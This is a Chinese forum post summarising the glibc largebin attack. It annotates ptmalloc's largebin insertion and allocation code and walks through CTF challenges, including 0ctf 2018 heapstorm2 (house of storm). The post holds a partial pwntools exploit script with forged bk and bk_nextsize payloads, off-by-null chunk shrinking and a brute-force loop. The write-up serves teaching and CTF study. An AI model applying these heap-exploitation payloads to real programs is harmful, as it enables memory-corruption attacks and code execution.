首页
社区
课程
招聘
[原创]Largebin attack总结
发表于: 2020-10-3 11:06 16088

[原创]Largebin attack总结

2020-10-3 11:06
16088

咕咕咕好几天的largebin attack来力

largebin管理的是一个范围区间的堆块,此时fd_nextsizebk_nextsize就派上了用场。

大小对应相同index中的堆块,其在链表中的排序方式为:

貌似就是取expr表达式的值。

宏 bin_at(m, i) 通过 bin index 获得 bin 的链表头,m 指的是分配区,i 是索引

mark_bin 设置第 i 个 bin 在 binmap 中对应的 bit 位为 1

一共有 128 个 bin,0 和 127 不算,也就是有 126 个 bin,其中第一个 bin 是 unsorted_bin

binmap 字段是一个 int 数组,ptmalloc 用一个 bit 来标识该 bit 对应的 bin 中是否包含空闲 chunk

贴一下插入过程大佬的总结:

贴一下申请过程大佬的总结:

当利用bk_nextsize反向遍历双链表时,如果我们可以伪造堆头节点的bk_nextsize,让其指向一个evil内存地址,然后我们 在evil_addr上构造了相应的数据以通过unlink,会将该空间返回申请到非预期的内存

绕过unlink最简单 的就是fd与bk按照smallbin的unlink方式设置,然后两个nextsize指针都为null

下面贴上大佬的解释:

问题出现在通过bk_nextsize反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用它来构造overlap chunk。

至于绕过unlink的检查,我认为最好的方式就是伪造的内存空间将fdbk按照smallbinunlink的利用方式设置,而将bk_nextsizefd_nextsize设置成0,这样就不会对这两个字段进行操作了。

典型的应用场景为:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize伪造指向C,同时将C的fdbk构造好,将C的fd_nextsizebk_nextsize赋值为0,当再次申请0x410大小的内存E时,遍历B->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。

本题是典型的house of storm,可以做一个任意写+一个任意申请,威力还是相当给力的。

mallopt(M_MXFAST,0)global_max_fast设置为0,这个值的意思是最大为多大的chunk归fastbin管理,设置为0表示这个程序中不再存在fastbin。即本程序禁用了fastbin。

在edit函数中有一个off-by-null

剩下的就是一个常用的uaf。

首先我们造两个overlap到unsortedbin里。(overlap的过程我就先不说了,可以做前向合并可以做后向合并)

然后我们add(0x4e8),从unsortedbin的尾部向前遍历,将size为0x4e0的放入largebin,返回size为0x4f0的:

然后再把0x4e8的放进unsortedbin

此时largebin中的chunk是大于unsortedbin中的chunk的,那么fwd此时就应该指向0x1002035c0这一个chunk,victim是unsortedbin中的chunk。

我们再进行如下操作:

此时unsortedbin中的chunk的bk指针被劫持指向我们的fakechunk,如果我们再add(0x48)时,程序首先在fastbin和smallbin中找空闲的chunk,但是没有,于是去unsortedbin中找,第一次找到大小为0x4f0的,这个大小肯定是不对的,但是检测到unsortedbin中还有一个chunk(即我们劫持bk指针后指向的fakechunk)并不会对大小为0x4f0的chunk做切割,而是直接做sorted,即插入largebin(此时触发largebin attack给fakechunk写上一个size)。然后系统顺着我们劫持的bk指针找,找到了我们的fakechunk,此时的fakechunk是有size的,然后系统去检验他的size,发现除去标志位刚好是0x50,那么就把fake chunk返回给我们。

然后add一次0x48(由于calloc的检查,此处被错位写上去的size必须要是0x56,多爆破几次)

除去标志位0x56就是0x50了,我们申请0x48,会返回这个fake_chunk

然后我们写一个while爆破一下:

可以看到此时爆破成功,我们通过修改表中相关内容:

来bypass掉show时候的验证:

此时就可以正常使用show了。

其实主要就是伪造一系列的结构,感觉这个比之前的那个要麻烦一些

一开始的largebin情况如下:

以下这张图充分还原了largebin的攻击过程,达到一次任意地址申请+overlap

我们再将两个0x80的放入fastbin连接起来:

当我们再进行一次add的时候:首先把fastbin中的chunk放入smallbin;然后触发largebin attack申请出我们伪造的fakechunk

效果如下:

smallbin也是头插尾取,再add一次,取出smallbin的最后一个:

此时在smallbin中的chunk里有指向main_arena的指针,且这个chunk刚好在我们的fakechunk下面不远,直接可以show出来

之后我们手动恢复chunk结构。

最后使用fastbin attack劫持unsortbin中的top chunk指向free_hook-0xb58,然后改freehook为system。

一般结束后会放到smallbin中

1、首先将与该块相邻的下一块的PREV_INUSE置为1。
2、如果相邻的上一块为free,则合并,再判断相邻的下一块是否free,若free,则合并。
3、不管是否完成合并,都会把fastbin或者完成合并以后的bin放到unsortbin中。(如果与top chunk相邻,则合并到top chunk中)这点尤其要注意,这也是为什么可以泄漏出libc基地址的原因。(注意,这里代表,即使没有发生合并,也会将对应的fastbin的chunk放入unosrtedbin,比如我们有一个0x60、一个0x80、他们物理上不相邻,但都处于free状态,那么合并时他们俩都会被放入unsortedbin。)

https://www.jianshu.com/p/d3fdeff8683f

https://wiki.x10sec.org/pwn/heap/heap_implementation_details/#large-bin

https://xz.aliyun.com/t/5177?accounttraceid=a5c0b873d40e445f90a2b0a7e8cde4a4fkam

https://bbs.pediy.com/thread-257742.htm

#define in_smallbin_range(sz) 
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
 
#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) 
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
 
#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
size    index
[0x400 , 0x440)    64
[0x440 , 0x480)    65
[0x480 , 0x4C0)    66
[0x4C0 , 0x500)    67
[0x500 , 0x540)    68
等差 0x40   
[0xC00 , 0xC40)    96
[0xC40 , 0xE00)    97
[0xE00 , 0x1000)    98
[0x1000 , 0x1200)    99
[0x1200 , 0x1400)    100
[0x1400 , 0x1600)    101
等差 0x200   
[0x2800 , 0x2A00)    111
[0x2A00 , 0x3000)    112
[0x3000 , 0x4000)    113
[0x4000 , 0x5000)    114
等差 0x1000   
[0x9000 , 0xA000)    119
[0xA000 , 0x10000)    120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )    126
size    index
[0x400 , 0x440)    64
[0x440 , 0x480)    65
[0x480 , 0x4C0)    66
[0x4C0 , 0x500)    67
[0x500 , 0x540)    68
等差 0x40   
[0xC00 , 0xC40)    96
[0xC40 , 0xE00)    97
[0xE00 , 0x1000)    98
[0x1000 , 0x1200)    99
[0x1200 , 0x1400)    100
[0x1400 , 0x1600)    101
等差 0x200   
[0x2800 , 0x2A00)    111
[0x2A00 , 0x3000)    112
[0x3000 , 0x4000)    113
[0x4000 , 0x5000)    114
等差 0x1000   
[0x9000 , 0xA000)    119
[0xA000 , 0x10000)    120
[0x10000 , 0x18000)    121
[0x18000 , 0x20000)    122
[0x20000 , 0x28000)    123
[0x28000 , 0x40000)    124
[0x40000 , 0x80000)    125
[0x80000 , …. )    126
 
# define __builtin_expect(expr, val) (expr)
# define __builtin_expect(expr, val) (expr)
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))               \
             - offsetof (struct malloc_chunk, fd))
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))               \
             - offsetof (struct malloc_chunk, fd))
#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define NBINS             128
#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT) // 32
#define BINMAPSIZE       (NBINS / BITSPERMAP)// 128 / 32 = 4
unsigned int binmap[BINMAPSIZE];             // 32b * 4 = 128b
#define NBINS             128
#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT) // 32
#define BINMAPSIZE       (NBINS / BITSPERMAP)// 128 / 32 = 4
unsigned int binmap[BINMAPSIZE];             // 32b * 4 = 128b
 
/* place chunk in bin */
 
         if (in_smallbin_range (size))        //如果是smallbin的大小就放到smallbin
           {
             victim_index = smallbin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
           }
         else                                                    //如果是largebin的大小,那么:
           {
             victim_index = largebin_index (size);//根据size获取对应的largebin索引
             bck = bin_at (av, victim_index);         //获取largebin表头
             fwd = bck->fd;                                             //获取对应索引largebin的第一个chunk(循环链表的head->next
 
             /* maintain large bins in sorted order */
             if (fwd != bck)                                            //当第一个不等于最后一个(即当前的largebin不空)
               {
                 /* Or with inuse bit to speed comparisons */
                 size |= PREV_INUSE;
                 /* if smaller than smallest, bypass loop below */
                 assert (chunk_main_arena (bck->bk));    //是否在main_arena?(主线程)
                 if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
                   {
                     fwd = bck;                                    //fwd此时为largebin表头
                     bck = bck->bk;                            //bck设置为largebin中最后一个的chunk
 
                     victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
                     victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
 
                     //原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
                     fwd->fd->bk_nextsize =
                     victim->bk_nextsize->fd_nextsize = victim;
                   }
 
                 // 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
                 else
                   {
                     assert (chunk_main_arena (fwd));
                     //使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
                     while ((unsigned long) size < chunksize_nomask (fwd))
                       {
                         fwd = fwd->fd_nextsize;            //取下一个
                                                 assert (chunk_main_arena (fwd));//检查分配区
                       }
 
                     //如果找到了跟他想等的
                     if ((unsigned long) size
                                             == (unsigned long) chunksize_nomask (fwd))
                       /* Always insert in the second position.  */
                       fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
 
                     //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                     //需要构造nextsize双向链表,构造新节点,victim作为堆头
                     else
                       {
                         //比victim小的指向fwd
                         //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                         //相当于插入了fwd与fwd->bk_nextsize之间
                         victim->fd_nextsize = fwd;
                         victim->bk_nextsize = fwd->bk_nextsize;
 
                         if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
                           malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                         //对应的去改fwd的相关指针成链
                         fwd->bk_nextsize = victim;
                         victim->bk_nextsize->fd_nextsize = victim;
                         //插入完成
                       }
 
                     bck = fwd->bk;
                     if (bck->fd != fwd)
                       malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                   }
               }
             else
               victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
           }
                   //放到对应的 bin 中,构成 bk<-->victim<-->fwd。
         mark_bin (av, victim_index);    //标识bitmap
         victim->bk = bck;
         victim->fd = fwd;
         fwd->bk = victim;
         bck->fd = victim;
/* place chunk in bin */
 
         if (in_smallbin_range (size))        //如果是smallbin的大小就放到smallbin
           {
             victim_index = smallbin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
           }
         else                                                    //如果是largebin的大小,那么:
           {
             victim_index = largebin_index (size);//根据size获取对应的largebin索引
             bck = bin_at (av, victim_index);         //获取largebin表头
             fwd = bck->fd;                                             //获取对应索引largebin的第一个chunk(循环链表的head->next
 
             /* maintain large bins in sorted order */
             if (fwd != bck)                                            //当第一个不等于最后一个(即当前的largebin不空)
               {
                 /* Or with inuse bit to speed comparisons */
                 size |= PREV_INUSE;
                 /* if smaller than smallest, bypass loop below */
                 assert (chunk_main_arena (bck->bk));    //是否在main_arena?(主线程)
                 if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
                   {
                     fwd = bck;                                    //fwd此时为largebin表头
                     bck = bck->bk;                            //bck设置为largebin中最后一个的chunk
 
                     victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
                     victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
 
                     //原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
                     fwd->fd->bk_nextsize =
                     victim->bk_nextsize->fd_nextsize = victim;
                   }
 
                 // 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
                 else
                   {
                     assert (chunk_main_arena (fwd));
                     //使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while
                     while ((unsigned long) size < chunksize_nomask (fwd))
                       {
                         fwd = fwd->fd_nextsize;            //取下一个
                                                 assert (chunk_main_arena (fwd));//检查分配区
                       }
 
                     //如果找到了跟他想等的
                     if ((unsigned long) size
                                             == (unsigned long) chunksize_nomask (fwd))
                       /* Always insert in the second position.  */
                       fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
 
                     //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                     //需要构造nextsize双向链表,构造新节点,victim作为堆头
                     else
                       {
                         //比victim小的指向fwd
                         //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                         //相当于插入了fwd与fwd->bk_nextsize之间
                         victim->fd_nextsize = fwd;
                         victim->bk_nextsize = fwd->bk_nextsize;
 
                         if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性
                           malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                         //对应的去改fwd的相关指针成链
                         fwd->bk_nextsize = victim;
                         victim->bk_nextsize->fd_nextsize = victim;
                         //插入完成
                       }
 
                     bck = fwd->bk;
                     if (bck->fd != fwd)
                       malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                   }
               }
             else
               victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表
           }
                   //放到对应的 bin 中,构成 bk<-->victim<-->fwd。
         mark_bin (av, victim_index);    //标识bitmap
         victim->bk = bck;
         victim->fd = fwd;
         fwd->bk = victim;
         bck->fd = victim;
/*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */
      if (!in_smallbin_range (nb))//如果不在samllbin大小中
        {
          bin = bin_at (av, idx); //找到申请的size对应的largebin链表
 
          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&                    //此时victim为链表的第一个节点
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
                //进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
              victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
 
              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;            //出现相同大小时堆头作为次优先申请
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
 
              /* Exhaust */
              if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
 
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);//bck是ub头
                  fwd = bck->fd;                         //fwd是ub第一个chunk
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                //以上操作完成后lastremainder被插入ub,成为新的链首元素
                //如果不在smallbin范围,那么nextsize指针置空
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
 
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
/*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */
      if (!in_smallbin_range (nb))//如果不在samllbin大小中
        {
          bin = bin_at (av, idx); //找到申请的size对应的largebin链表
 
          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&                    //此时victim为链表的第一个节点
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
                //进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
              victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
 
              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;            //出现相同大小时堆头作为次优先申请
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
 
              /* Exhaust */
              if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
 
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);//bck是ub头
                  fwd = bck->fd;                         //fwd是ub第一个chunk
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                //以上操作完成后lastremainder被插入ub,成为新的链首元素
                //如果不在smallbin范围,那么nextsize指针置空
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
 
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;  //漏洞点,伪造bk_nextsize
 
              if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //largebin unlink 操作
 
            ...
            return p;
if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
              victim = victim->bk_nextsize;
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize;  //漏洞点,伪造bk_nextsize
 
              if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;
 
              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //largebin unlink 操作
 
            ...
            return p;
 
 
 
 
 
...//将largebin从unsorted bin中取下
       unsorted_chunks (av)->bk = bck;
       bck->fd = unsorted_chunks (av);
 
       ...
 
 
                       //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                       //需要构造nextsize双向链表,构造新节点,victim作为堆头
                      //否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
                       //比victim小的指向fwd(fd_nextsize)
                       //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                       //相当于插入了fwd与fwd->bk_nextsize之间
                       victim->fd_nextsize = fwd;
                       victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
                       fwd->bk_nextsize = victim;
                       victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
                     }
                   bck = fwd->bk; //由于fwd->bk可控,因此bck可控
              ...
 
       mark_bin (av, victim_index);
       //设置fd与bk完成插入
       victim->bk = bck;
       victim->fd = fwd;
       fwd->bk = victim;
       bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
       ...
     }
...//将largebin从unsorted bin中取下
       unsorted_chunks (av)->bk = bck;
       bck->fd = unsorted_chunks (av);
 
       ...
 
 
                       //如果大小不一样(即此时fwd是相邻的大于victim的chunk)
                       //需要构造nextsize双向链表,构造新节点,victim作为堆头
                      //否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
                       //比victim小的指向fwd(fd_nextsize)
                       //比victim大的指向fwd的bk_nextsize(比fwd大的那个)
                       //相当于插入了fwd与fwd->bk_nextsize之间
                       victim->fd_nextsize = fwd;
                       victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
                       fwd->bk_nextsize = victim;
                       victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
                     }
                   bck = fwd->bk; //由于fwd->bk可控,因此bck可控
              ...
 
       mark_bin (av, victim_index);
       //设置fd与bk完成插入
       victim->bk = bck;
       victim->fd = fwd;
       fwd->bk = victim;
       bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
       ...
     }
if ( !mallopt(1, 0) )
  exit(-1);
if ( !mallopt(1, 0) )
  exit(-1);
 
 
 
 
unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
   unsortbin: 0x0
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
   unsortbin: 0x0
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
   unsortbin: 0x100203060 (size : 0x4f0)
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
   unsortbin: 0x100203060 (size : 0x4f0)
largebin[ 3]: 0x1002035c0 (size : 0x4e0)
 
storge = 0x13370800
fake_chunk = storge-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 +=  p64(0)+p64(fake_chunk-0x18-5)    # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
storge = 0x13370800
fake_chunk = storge-0x20
p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2 +=  p64(0)+p64(fake_chunk-0x18-5)    # 劫持在largebin中chunk的bk_nextsize指针
edit(8,p2)
 
 
 
 
add(0x48)       # 2,largebin attack触发
add(0x48)       # 2,largebin attack触发
 
 
 
p3 = p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,p3)
p3 = p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,p3)
if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 )
  return puts("Permission denied");
if ( (chunk_list[1].size ^ chunk_list[1].addr) != 0x13377331 )
  return puts("Permission denied");
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./0ctf_2018_heapstorm2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Command: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(size,c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(len(content)))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
 
 
while(1):
    try:
        # get_proc_base(io)
        # get_libc_base(io)
        global io
        io = process(elf_path)
        #io = remote("node3.buuoj.cn",29327)
        add(0x18)                   # 0
        add(0x508)                  # 1
        add(0x18)                   # 2
        edit(1,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 3
        add(0x508)                  # 4
        add(0x18)                   # 5
        edit(4,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 6
        free(1)
        edit(0,'a'*(0x18-0xc))              # 对free后的1做off-by-null,造成chunk收缩
 
        add(0x18)                   # 1
        add(0x4d8)                  # 7     # 将0ff-by-null收缩后的freechunk分两次申请出来
 
        free(1)
        free(2)                             # 触发后向合并:0x508+0x18
 
        # 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
        add(0x38)                   # 1
        add(0x4e8)                  # 2
 
        free(4)
        edit(3,'a'*(0x18-12))
        add(0x18)                   # 4
        add(0x4d8)                  # 8
        free(4)
        free(5)                     # 后向合并造出0x530的freechunk
        add(0x48)                   # 4
 
        free(2)                     # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
        add(0x4e8)                  # 2
        free(2)                     # 把0x4f0的放回到unsortedbin
 
 
 
        storage = 0x13370800
        fake_chunk = storage-0x20
        p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
        edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
        p2 = p64(0)*4+p64(0)+p64(0x4e1)
        p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
        p2 +=  p64(0)+p64(fake_chunk-0x18-4)    # 劫持在largebin中chunk的bk_nextsize指针
        edit(8,p2)
 
 
        add(0x48)       # 2,largebin attack触发,返回我们伪造位置的节点
 
 
        p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件
        edit(2,p3)
 
        pause()
        p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8)
        edit(0,p4)      # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
 
